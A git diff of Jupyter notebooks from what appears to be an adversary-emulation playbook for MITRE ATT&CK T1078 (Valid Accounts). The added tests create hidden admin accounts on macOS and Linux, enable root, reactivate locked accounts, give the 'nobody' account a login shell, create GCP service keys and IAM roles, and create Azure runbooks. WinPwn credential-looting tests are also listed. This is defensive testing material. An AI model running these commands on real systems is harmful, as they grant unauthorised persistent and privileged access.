"markdown", - "id": "7a656c4a", + "id": "c54d8532", "metadata": {}, "source": "# T1078.002 - Domain Accounts\nAdversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain." }, { "cell_type": "markdown", - "id": "331231d4", + "id": "8b1afe7b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "40282660", + "id": "a40c25a1", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1078.003.ipynb b/playbook/tactics/privilege-escalation/T1078.003.ipynb index 4cf91432..e96d5c11 100644 --- a/playbook/tactics/privilege-escalation/T1078.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1078.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "33b599cc", + "id": "9d61aa5e", "metadata": {}, "source": "# T1078.003 - Local Accounts\nAdversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " }, { "cell_type": "markdown", - "id": "b610c82c", + "id": "736afc90", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "08b38b0b", + "id": "d5583237", "metadata": {}, "source": [ "### Atomic Test #1 - Create local account with admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "93a4ac7b", + "id": "02a82014", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8c3511c9", + "id": "1533bf20", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "2f7895a7", + "id": "58698769", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "f815f647", + "id": "ff6219cb", "metadata": {}, "source": [ "### Atomic Test #2 - Create local account with admin privileges - MacOS", @@ -63,31 +63,136 @@ { "cell_type": "code", "execution_count": null, - "id": "a2d1eba6", + "id": "df8d18fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2822e6b5", + "id": "4b0d5c8a", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo dscl . -delete /Users/AtomicUser```" }, { "cell_type": "code", "execution_count": null, - "id": "f6de904b", + "id": "908fe45e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9c37772f", + "id": "d72bfacd", "metadata": {}, "source": [ - "### Atomic Test #3 - WinPwn - Loot local Credentials - powerhell kittie", + "### Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS", + "After execution the new account will be active and added to the Administrators group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nsysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c4cd93b8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "03c7d396", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nsysadminctl interactive -deleteUser art-tester```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9aa177c0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "84f8db66", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Enable root account using dsenableroot utility - MacOS", + "After execution the current/new user will have root access", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e0b01869", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "497bc486", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndsenableroot -d #current user\ndsenableroot -d -u art-tester -p art-tester #new user```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "20e70c10", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "55c45dea", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS", + "After execution the current/new user will be added to the Admin group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndseditgroup -o edit -a art-user -t user admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3847f6ad", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "992f8868", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndseditgroup -o edit -d art-user -t user admin```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e14b899", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d38c0988", + "metadata": {}, + "source": [ + "### Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie", "Loot local Credentials - powerhell kittie technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -98,17 +203,17 @@ { "cell_type": "code", "execution_count": null, - "id": "1d9f2393", + "id": "8e800755", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "66fc01aa", + "id": "273b685c", "metadata": {}, "source": [ - "### Atomic Test #4 - WinPwn - Loot local Credentials - Safetykatz", + "### Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz", "Loot local Credentials - Safetykatz technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -119,14 +224,189 @@ { "cell_type": "code", "execution_count": null, - "id": "7f09a240", + "id": "4e1b7375", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "c0a1be7c", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Create local account (Linux)", + "An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\npassword=$(openssl passwd -1 art)\n([ \"$(uname)\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\nsu art -c \"whoami; exit\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1cde4491", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "2d22cd49", + "metadata": {}, + "source": "#### Cleanup: \n```bash\n[ \"$(uname)\" = 'Linux' ] && userdel art -rf || rmuser -y art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "64896e08", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b9e8ee05", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Reactivate a locked/expired account (Linux)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\nusermod --lock art\nusermod --expiredate \"1\" art\nusermod --unlock art\nusermod --expiredate \"99999\" art\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "362d0b2e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "c917585e", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -r art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c0540129", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9dc67b93", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd art -g wheel -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user testuser1 -h 0\npw lock art\npw usermod art -e +1d\npw unlock art\npw user mod art -e +99d\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "82c836a8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "18441d29", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrmuser -y art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "967f8707", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9c0b3a04", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Login as nobody (Linux)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "92f0a994", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "82e8880e", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nchsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "21d10946", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "67888fd0", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Login as nobody (freebsd)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0947e82", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "fe9741d7", + "metadata": {}, + "source": "#### Cleanup: \n```sh\npw usermod nobody -s /usr/sbin/nologin\ncat /etc/passwd |grep nobody\n# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "65239cc6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "fdf4faca", + "id": "a2886822", "metadata": {}, "source": "## Detection\nPerform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours." } @@ -134,13 +414,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1078.004.ipynb b/playbook/tactics/privilege-escalation/T1078.004.ipynb index 19053609..c9f6bd48 100644 --- a/playbook/tactics/privilege-escalation/T1078.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1078.004.ipynb @@ -2,64 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "6e8c5b06", + "id": "0b9cff5f", "metadata": {}, - "source": "# T1078.004 - Cloud Accounts\nAdversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges." + "source": "# T1078.004 - Cloud Accounts\nValid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" }, { "cell_type": "markdown", - "id": "476d2b35", + "id": "e7e8b912", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "76b63d88", + "id": "185b238b", "metadata": {}, - "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```" + "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ae9c71db", + "id": "8ba445be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d6681f95", + "id": "eb18315b", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ngcloud auth login --no-launch-browser\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" + "```sh\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3cc6ce77", + "id": "9ea7933f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "54a2e13a", + "id": "6d2534f2", "metadata": {}, "source": "#### Cleanup: \n```sh\ngcloud iam service-accounts delete gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com --quiet\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a3fb40bc", + "id": "c34c622f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "2885e640", + "id": "c586fa8a", + "metadata": {}, + "source": "### Atomic Test #2 - Azure Persistence Automation Runbook Created or Modified\nIdentifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure\nAutomation runbook to execute malicious code and maintain persistence in their target's environment.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install terraform.\n\n```\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Scope CurrentUser -Force\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate\" ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform init\nterraform apply -auto-approve\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a9b2f43f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f034d212", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-AzAccount -Credential $creds\nNew-AzAutomationRunbook -Name None -Type PowerShell -ResourceGroupName None -Description 'my-test-runbook' -AutomationAccountName None\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "17515397", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "d25506ba", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-AzAutomationRunbook -AutomationAccountName None -Name None -ResourceGroupName None -Force\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "29ec7950", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "fd93f0cb", + "metadata": {}, + "source": "### Atomic Test #3 - GCP - Create Custom IAM Role\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2c3c1da4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "0f957ac5", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\ngcloud iam roles create AtomicRedTeamRole --description=\"Atomic Red Team Custom IAM Role\" --permissions=iam.serviceAccounts.get --project=atomic-test-1\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e685a0e9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "2b042b00", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ngcloud iam roles delete AtomicRedTeamRole --project=atomic-test-1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4d78e0a7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7d1ba3ac", "metadata": {}, "source": "## Detection\nMonitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours." } @@ -67,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1078.ipynb b/playbook/tactics/privilege-escalation/T1078.ipynb index 6634777e..daedc199 100644 --- a/playbook/tactics/privilege-escalation/T1078.ipynb +++ b/playbook/tactics/privilege-escalation/T1078.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "402e343a", + "id": "bce58793", "metadata": {}, "source": "# T1078 - Valid Accounts\nAdversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)" }, { "cell_type": "markdown", - "id": "d52d29ff", + "id": "427294ca", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ff505b3b", + "id": "2f2748bd", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." }, { "cell_type": "markdown", - "id": "2d2a4263", + "id": "2425bbcb", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Account \n Create an account that is used for active defense purposes. \n\n A decoy account is one that is created specifically for defensive or deceptive purposes. It can be in the form of user accounts, service accounts, software accounts, etc. The decoy account can be used to make a system, service, or software look more realistic or to entice an action.\n#### Opportunity\nThere is an opportunity to introduce user accounts that are used to make a system look more realistic.\n#### Use Case\nA defender can create decoy user accounts which are used to make a decoy system or network look more realistic.\n#### Procedures\nCreate a user account with a specified job function. Populate the user account's groups, description, logon hours, etc., with decoy data that\u00a0looks normal in the environment.\nCreate a user that has a valid email account. Use this account in such a way that the email address could be harvested by the adversary. This can be monitored to see if it is used in future attacks.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1088.ipynb b/playbook/tactics/privilege-escalation/T1088.ipynb deleted file mode 100644 index efa7894f..00000000 --- a/playbook/tactics/privilege-escalation/T1088.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": 